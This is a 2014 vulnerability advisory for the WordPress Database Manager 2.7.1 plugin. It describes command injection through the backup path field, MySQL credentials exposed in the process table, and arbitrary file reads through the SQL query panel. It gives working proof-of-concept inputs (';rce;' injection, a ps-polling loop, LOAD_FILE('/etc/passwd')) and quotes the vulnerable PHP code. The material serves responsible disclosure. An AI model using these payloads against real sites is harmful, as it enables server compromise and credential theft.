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WordPress Database Manager 2.7.1 Command Injection / Credential Leak

Posted on 22 October 2014

Title: Vulnerabilities in WordPress Database Manager v2.7.1 Author: Larry W. Cashdollar, @_larry0 Date: 10/13/2014 Download: https://wordpress.org/plugins/wp-dbmanager/ Downloads: 1,171,358 Vendor: Lester Chan, https://profiles.wordpress.org/gamerz/ Contacted: 10/13/2014, Vulnerabilities addressed in v2.7.2. Full Advisory: http://www.vapid.dhs.org/advisories/wordpress/plugins/wp-dbmanager-2.7.1/index.html CVE: 2014-8334,2014-8335 OSVDBID: 113508,113507,113509 Description: "Allows you to optimize database, repair database, backup database, restore database, delete backup database , drop/empty tables and run selected queries. Supports automatic scheduling of backing up, optimizing and repairing of database." Vulnerability: Plugin suffers from command injection, exposes MySQL database credentials to the process table and allows the user to download system files via the ‘Run SQL Query’ feature. User authentication with current_user_can('manage_database')) privileges are required. The full advisory has screen shots for illustration. PoC Command Injection The command that is sent through passthru() is the following: /usr/bin/mysqldump --force --host="localhost" --user="root" --password="passwordhere" --default-character-set="utf8" --add-drop-table --skip-lock-tables wordpress > /usr/share/wordpress/wp-content/backup-db';rce;'/1413225588_-_wordpress.sql rce is just a homebrew .c binary I wrote for testing command injections it creates a file in /tmp with some stats on who executed it. # cat /tmp/RCE_JChl9c ARGGHHH I've been executed! my pid is :16169 Parent id 16168 Name: sh State: S (sleeping) Tgid: 16168 Pid: 16168 PPid: 15925 TracerPid: 0 Uid: 33 33 33 33 Gid: 33 33 33 33 FDSize: 32 Groups: 33 In the following lines commands can be injected into the variables being used to build the command by using ;command; $backup['filepath'] $backup['mysqldumppath'] I use $backup[‘filepath’] or “Path To Backup:” for my PoC. /usr/share/wordpress/wp-content/backup-db;rce; Saving and then Running a backup executes /usr/bin/rce, the command that is sent through passthru() is the following: /usr/bin/mysqldump --force --host="localhost" --user="root" --password="passwordhere" --default-character-set="utf8" --add-drop-table --skip-lock-tables wordpress > /usr/share/wordpress/wp-content/backup-db;rce;/1413225588_-_wordpress.sql rce is just a homebrew .c binary I wrote for testing command injections, it creates a file in /tmp with some stats on who executed it. # cat /tmp/RCE_JChl9c ARGGHHH I've been executed! my pid is :16169 Parent id 16168 Name: sh State: S (sleeping) Tgid: 16168 Pid: 16168 PPid: 15925 TracerPid: 0 Uid: 33 33 33 33 Gid: 33 33 33 33 FDSize: 32 Groups: 33 Mysql Credentials Leaked to Process Table Also by running a simple script: PoC: $ while (true); do echo -n `ps ax | grep m[y]sqldump`; done 6324 ? S 0:00 sh -c /usr/bin/mysqldump --force --host="localhost" --user="root" --password="passwordhere" --default-character-set="utf8" --add-drop-table --skip-lock-tables wordpress > /usr/share/wordpress/wp-content/backup-db/1413224776_-_wordpress.sql 6328 ? R 0:00 sh -c /usr/bin/mysqldump --force --host="localhost" --user="root" --password="passwordhere" --default-character-set="utf8" --add-drop-table --skip-lock-tables wordpress > /usr/share/wordpress/wp-content/backup-db/1413224776_-_wordpress.sql6324 ? S 0:00 sh -c /usr/bin/mysqldump --force --host="localhost" --user="root" --password="passwordhere" --default-character-set="utf8" --add-drop-table --skip-lock-tables wordpress > /usr/share/wordpress/wp-content/backup-db/1413224776_-_wordpress.sql 6328 ? S 0:00 /usr/bin/mysqldump --force --host=localhost --user=root --password=x xxxxxx --default-character-set=utf8 --add-drop-table --skip-lock-tables wordpress6324 ? S 0:00 sh -c /usr/bin/mysqldump --force --host="localhost" --user="root" --password="passwordhere" --default-character-set="utf8" --add-drop-table --skip-lock-tables wordpress > /usr/share/wordpress/wp-content/backup-db/1413224776_-_wordpress.sql 6328 ? S 0:00 /usr/bin/mysqldump --force --host=localhost --user=root --password=x xxxxxx --default-character-set=utf8 --add-drop-table --skip-lock-tables wordpress A malicious local user can harvest credentials for the mysql database off the process table. The trouble is the code doesn’t properly sanitize user input and is being passed directly to passthru or system depending on which OS you’re using. In wp-dbmanager.php: 86 $backup['command'] = ''; 87 $brace = (substr(PHP_OS, 0, 3) == 'WIN') ? '"' : ''; 88 if(intval($backup_options['backup_gzip']) == 1) { 89 $backup['filename'] = $backup['date'].'_-_'.DB_NAME.'.sql.gz'; 90 $backup['filepath'] = $backup['path'].'/'.$backup['filename']; 91 $backup['command'] = $brace.$backup['mysqldumppath'].$brace.' --force --host="'.$backup['host'].'" --user="'.DB_USER.'" --password="'.$backup['password'].'"'.$backup['port'].$backup['sock'].' --add-drop-table --skip-lock-tables '.DB_NAME.' | gzip > '.$brace.$backup['filepath'].$brace; 92 } else { 93 $backup['filename'] = $backup['date'].'_-_'.DB_NAME.'.sql'; 94 $backup['filepath'] = $backup['path'].'/'.$backup['filename']; 95 $backup['command'] = $brace.$backup['mysqldumppath'].$brace.' --force --host="'.$backup['host'].'" --user="'.DB_USER.'" --password="'.$backup['password'].'"'.$backup['port'].$backup['sock'].' --add-drop-table --skip-lock-tables '.DB_NAME.' > '.$brace.$backup['filepath'].$brace; 96 } 97 execute_backup($backup['command']); 211 ### Executes OS-Dependent mysqldump Command (By: Vlad Sharanhovich) 212 function execute_backup($command) { 213 $backup_options = get_option('dbmanager_options'); 214 check_backup_files(); 215 if(substr(PHP_OS, 0, 3) == 'WIN') { 216 $writable_dir = $backup_options['path']; 217 $tmpnam = $writable_dir.'/wp-dbmanager.bat'; 218 $fp = fopen($tmpnam, 'w'); 219 fwrite($fp, $command); 220 fclose($fp); 221 system($tmpnam.' > NUL', $error); 222 unlink($tmpnam); 223 } else { 224 passthru($command, $error); 225 } 226 return $error; 227 } In database-manage.php: 46 if(stristr($database_file, '.gz')) { 47 $backup['command'] = 'gunzip < '.$brace.$backup['path'].'/'.$database_file.$brace.' | '.$brace.$backup['mysqlpath'].$brace.' --host="'.$backup['host'].'" --user="'.DB_USER.'" --password="'.$backup['password'].'"'.$backup['port'].$backup['sock'].$backup['charset'].' '.DB_NAME; 48 } else { 49 $backup['command'] = $brace.$backup['mysqlpath'].$brace.' --host="'.$backup['host'].'" --user="'.DB_USER.'" --password="'.$backup['password'].'"'.$backup['port'].$backup['sock'].$backup['charset'].' '.DB_NAME.' < '.$brace.$backup['path'].'/'.$database_file.$brace; 50 } 51 passthru($backup['command'], $error); File Downloads In the ‘Sql Run Query’ Panel only a few queries are allowed (Use Only INSERT, UPDATE, REPLACE, DELETE, CREATE and ALTER statements.) but these are suffiecient to download sensitive system files: CREATE TABLE password (passwords varchar(8096)); INSERT into password (passwords) VALUES(LOAD_FILE(‘/etc/passwd’)); Then run a database backup, and download the backup file or send via email. From 1413409573_-_wordpress.sql: INSERT INTO `password` VALUES ('root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh Debian-exim:x:101:104::/var/spool/exim4:/bin/false statd:x:102:65534::/var/lib/nfs:/bin/false sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin postgres:x:104:108:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash larry:x:1000:1000:larry,,,:/home/larry:/bin/bash mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false messagebus:x:106:110::/var/run/dbus:/bin/false '); /*!40000 ALTER TABLE `password` ENABLE KEYS */;

 

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